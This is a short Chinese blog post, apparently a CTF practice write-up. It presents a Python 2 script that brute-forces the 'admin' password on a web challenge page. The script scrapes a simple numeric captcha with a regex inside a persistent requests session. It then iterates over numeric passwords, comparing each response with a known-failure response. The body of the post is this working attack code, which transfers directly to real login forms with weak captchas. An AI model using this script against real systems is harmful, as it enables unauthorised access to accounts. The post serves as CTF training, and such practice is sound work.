zoukankan      html  css  js  c++  java
  • requests爆破+简单数字验证码

    验证码用正则获取 然后提交;
    访问方式为get;
    由于有验证码 要用session;
    注意:获取验证码的时候所打开的网页要用当前session(即要get的) 不能另外打开(如urllib中的打开网页)网页否则验证码是不同的;

    代码如下:

     1 #coding=utf-8
     2 import requests
     3 import re
     4 import urllib2
     5 
     6 url="http://daka.whaledu.com/web/web38/9s81jWjd98YU.php"
     7 
     8 
     9 se=requests.Session()
    10 
    11 htmlpage = se.get(url).text
    12 
    13 ###########################################################################
    14 #                                                                         #
    15 #   ATTENTION!                                                           #
    16 #   一定要用当前session打开网页,否则验证码不一样,导致提交的验证码错误              #
    17 #                                                                         #
    18 ###########################################################################
    19 
    20 
    21 
    22 #验证码获取
    23 
    24 ex=r"text">(.+?)<br>"
    25 pattern=re.compile(ex)
    26 ss=re.findall(ex,htmlpage)
    27 st=""
    28 st=ss[0]
    29 st=st[1]+st[2]+st[3]
    30 print st
    31 
    32 
    33 #第一次使用一个错误的数据以便爆破的时候对比是否密码正确
    34 
    35 data={
    36     "password":"11111",
    37     "randcode":st,
    38     "username":"admin"
    39 }
    40 
    41 
    42 
    43 content=se.get(url,params=data)
    44 print content.url
    45 content.encoding='utf-8'
    46 print content.text
    47 
    48 
    49 #循环爆破
    50 
    51 for i in range(11111,12111):
    52     
    53     
    54     se=requests.Session()
    55     htmlpage = se.get(url).text
    56     
    57     ex=r"text">(.+?)<br>"
    58     pattern=re.compile(ex)
    59     ss=re.findall(ex,htmlpage)
    60     st=""
    61     st=ss[0]
    62     st=st[1]+st[2]+st[3]
    63     
    64     data={
    65     "password":str(i),
    66     "randcode":st,
    67     "username":"admin"
    68     }
    69     
    70     content1=se.get(url,params=data)
    71     content1.encoding='utf-8'
    72     if content.text!=content1.text:
    73         print content1.text
    74     else:
    75         print str(i),"wrong"
  • 相关阅读:
    JTA
    JPA
    深度优先搜索与广度优先搜索
    http和https区别
    数据库系统阶段特点
    Java中定义和声明
    java之集合ArrayList实例
    java实例之商品库
    java之封装
    java之类和对象
  • 原文地址:https://www.cnblogs.com/Aiden-/p/9020566.html
Copyright © 2011-2022 走看看